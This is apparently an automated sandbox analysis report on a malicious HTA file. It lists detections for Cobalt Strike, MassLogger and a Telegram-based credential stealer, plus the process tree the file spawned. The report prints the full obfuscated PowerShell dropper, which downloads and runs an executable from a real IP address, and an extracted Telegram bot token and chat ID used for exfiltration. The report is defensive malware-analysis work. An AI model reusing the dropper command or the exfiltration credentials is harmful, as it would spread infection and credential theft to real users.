Windows
Analysis Report
uhg.hta
Overview
General Information
Detection
Cobalt Strike, MSIL Logger, MassLogger RAT
Score: | 100 |
Range: | 0 - 100 |
Confidence: | 100% |
Signatures
Antivirus detection for dropped file
Detected Cobalt Strike Beacon
Found malware configuration
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
Yara detected MSIL Logger
Yara detected MassLogger RAT
Yara detected Powershell decode and execute
Yara detected Telegram RAT
.NET source code references suspicious native API functions
Binary is likely a compiled AutoIt script file
Contains functionality to log keystrokes (.Net Source)
Joe Sandbox ML detected suspicious sample
Loading BitLocker PowerShell Module
Maps a DLL or memory area into another process
PowerShell case anomaly found
Powershell drops PE file
Sigma detected: Dot net compiler compiles file from suspicious location
Sigma detected: Suspicious MSHTA Child Process
Suspicious command line found
Suspicious powershell command line found
Switches to a custom stack to bypass stack traces
Tries to detect the country of the analysis system (by using the IP)
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Mail credentials (via file / registry access)
Writes to foreign memory regions
Compiles C# or VB.Net code
Contains functionality for read data from the clipboard
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to block mouse and keyboard input (often used to hinder debugging)
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)
Contains functionality to check if a window is minimized (may be used to check if an application is visible)
Contains functionality to communicate with device drivers
Contains functionality to dynamically determine API calls
Contains functionality to execute programs as a different user
Contains functionality to launch a process as a different user
Contains functionality to launch a program with higher privileges
Contains functionality to modify clipboard data
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Contains functionality to query CPU information (cpuid)
Contains functionality to read the PEB
Contains functionality to read the clipboard data
Contains functionality to retrieve information about pressed keystrokes
Contains functionality to shutdown / reboot the system
Contains functionality to simulate keystroke presses
Contains functionality to simulate mouse events
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Downloads executable code via HTTP
Drops PE files
Enables debug privileges
Extensive use of GetProcAddress (often used to hide API calls)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
Found inlined nop instructions (likely shell or obfuscated code)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May check the online IP address of the machine
May sleep (evasive loops) to hinder dynamic analysis
OS version to string mapping found (often used in BOTs)
Potential key logger detected (key state polling based)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Searches for the Microsoft Outlook file path
Sigma detected: Dynamic .NET Compilation Via Csc.EXE
Sigma detected: Potential Binary Or Script Dropper Via PowerShell
Suricata IDS alerts with low severity for network traffic
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Uses insecure TLS / SSL version for HTTPS connection
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara detected Credential Stealer
Yara signature match
Classification
- System is w10x64
mshta.exe (PID: 7336 cmdline:
mshta.exe "C:\Users\ user\Deskt op\uhg.hta " MD5: 06B02D5C097C7DB1F109749C45F3F505) cmd.exe (PID: 7400 cmdline:
"C:\Window s\system32 \cmd.exe" "/c PoWeRs HelL.exe -Ex bypAS s -N Op - w 1 -C Devic eCRedENTiA ldEploYMEn t.EXe ; Iex($(ieX( '[sySteM.T ext.eNCoDI NG]'+[cHAr ]0x3A+[CHa R]58+'uTF8 .getStRING ([SYSteM.c oNVert]'+[ cHAr]58+[c Har]58+'Fr oMBASE64sT rIng('+[CH aR]0X22+'J GogICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgPSA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICBhZEQtd FlwZSAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA tbUVtQkVSR GVmaU5pdGl vbiAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAnW 0RsbEltcG9 ydCgidXJMb W9uLmRsbCI sICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgIENoY XJTZXQgPSB DaGFyU2V0L lVuaWNvZGU pXXB1YmxpY yBzdGF0aWM gZXh0ZXJuI EludFB0ciB VUkxEb3dub G9hZFRvRml sZShJbnRQd HIgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgRyx zdHJpbmcgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgSndGRix zdHJpbmcgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgRHlwLHV pbnQgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgW CxJbnRQdHI gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgekopO ycgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgLU5 hTUUgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI kh1d0pyTXV kSEwiICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI C1uYW1lc1B BY0UgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgZ WR2ICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgIC1 QYXNzVGhyd TsgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgJGo 6OlVSTERvd 25sb2FkVG9 GaWxlKDAsI mh0dHA6Ly8 yMy45NS4yM zUuMjgvNTA vY3Nzby5le GUiLCIkZU5 WOkFQUERBV EFcY3Nzby5 leGUiLDAsM Ck7U3RBUlQ tU0xFZXAoM yk7aU5Wb0t lLUl0ZW0gI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgIiRFblY 6QVBQREFUQ Vxjc3NvLmV 4ZSI='+[cH ar]34+'))' )))" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B) conhost.exe (PID: 7408 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) powershell.exe (PID: 7452 cmdline:
PoWeRsHelL .exe -Ex bypASs -NOp -w 1 -C DeviceCR edENTiAldE ploYMEnt.E Xe ; Iex ($(ieX('[s ySteM.Text .eNCoDING] '+[cHAr]0x 3A+[CHaR]5 8+'uTF8.ge tStRING([S YSteM.coNV ert]'+[cHA r]58+[cHar ]58+'FroMB ASE64sTrIn g('+[CHaR] 0X22+'JGog ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgPSAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC BhZEQtdFlw ZSAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAtbU VtQkVSRGVm aU5pdGlvbi AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAnW0Rs bEltcG9ydC gidXJMbW9u LmRsbCIsIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgIENoYXJT ZXQgPSBDaG FyU2V0LlVu aWNvZGUpXX B1YmxpYyBz dGF0aWMgZX h0ZXJuIElu dFB0ciBVUk xEb3dubG9h ZFRvRmlsZS hJbnRQdHIg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgRyxzdH JpbmcgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg SndGRixzdH JpbmcgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg RHlwLHVpbn QgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgWCxJ bnRQdHIgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgekopOycg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgLU5hTU UgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgIkh1 d0pyTXVkSE wiICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgIC1u YW1lc1BBY0 UgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgZWR2 ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgIC1QYX NzVGhydTsg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgJGo6Ol VSTERvd25s b2FkVG9GaW xlKDAsImh0 dHA6Ly8yMy 45NS4yMzUu MjgvNTAvY3 Nzby5leGUi LCIkZU5WOk FQUERBVEFc Y3Nzby5leG UiLDAsMCk7 U3RBUlQtU0 xFZXAoMyk7 aU5Wb0tlLU l0ZW0gICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg IiRFblY6QV BQREFUQVxj c3NvLmV4ZS I='+[cHar] 34+'))'))) " MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC) csc.exe (PID: 7564 cmdline:
"C:\Window s\Microsof t.NET\Fram ework\v4.0 .30319\csc .exe" /noc onfig /ful lpaths @"C :\Users\us er\AppData \Local\Tem p\hbmngfjp \hbmngfjp. cmdline" MD5: EB80BB1CA9B9C7F516FF69AFCFD75B7D) cvtres.exe (PID: 7584 cmdline:
C:\Windows \Microsoft .NET\Frame work\v4.0. 30319\cvtr es.exe /NO LOGO /READ ONLY /MACH INE:IX86 " /OUT:C:\Us ers\user\A ppData\Loc al\Temp\RE SC24D.tmp" "c:\Users \user\AppD ata\Local\ Temp\hbmng fjp\CSCC4E 96BC321747 51BC6DB24E 42E04ED1.T MP" MD5: 70D838A7DC5B359C3F938A71FAD77DB0) csso.exe (PID: 7620 cmdline:
"C:\Users\ user\AppDa ta\Roaming \csso.exe" MD5: 724A10F0D502447504BD44AD72AA462F) RegSvcs.exe (PID: 7656 cmdline:
"C:\Users\ user\AppDa ta\Roaming \csso.exe" MD5: 9D352BC46709F0CB5EC974633A0C3C94)
- cleanup
{"EXfil Mode": "Telegram", "Telegram Token": "7598843355:AAHehybWWiULdkPS1RLFstdr4_yw-SdkoII", "Telegram Chatid": "7668947425"}
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_MassLogger | Yara detected MassLogger RAT | Joe Security | ||
JoeSecurity_CredentialStealer | Yara detected Credential Stealer | Joe Security | ||
JoeSecurity_MSILLogger | Yara detected MSIL Logger | Joe Security | ||
JoeSecurity_TelegramRAT | Yara detected Telegram RAT | Joe Security | ||
Windows_Trojan_SnakeKeylogger_af3faa65 | unknown | unknown |
| |
Click to see the 17 entries |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_MassLogger | Yara detected MassLogger RAT | Joe Security | ||
JoeSecurity_CredentialStealer | Yara detected Credential Stealer | Joe Security | ||
JoeSecurity_MSILLogger | Yara detected MSIL Logger | Joe Security | ||
JoeSecurity_TelegramRAT | Yara detected Telegram RAT | Joe Security | ||
Windows_Trojan_SnakeKeylogger_af3faa65 | unknown | unknown |
| |
Click to see the 13 entries |
Source | Rule | Description | Author | Strings |
---|---|---|---|---|
JoeSecurity_PowershellDecodeAndExecute | Yara detected Powershell decode and execute | Joe Security |
System Summary |
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Source: | Author: Michael Haag: |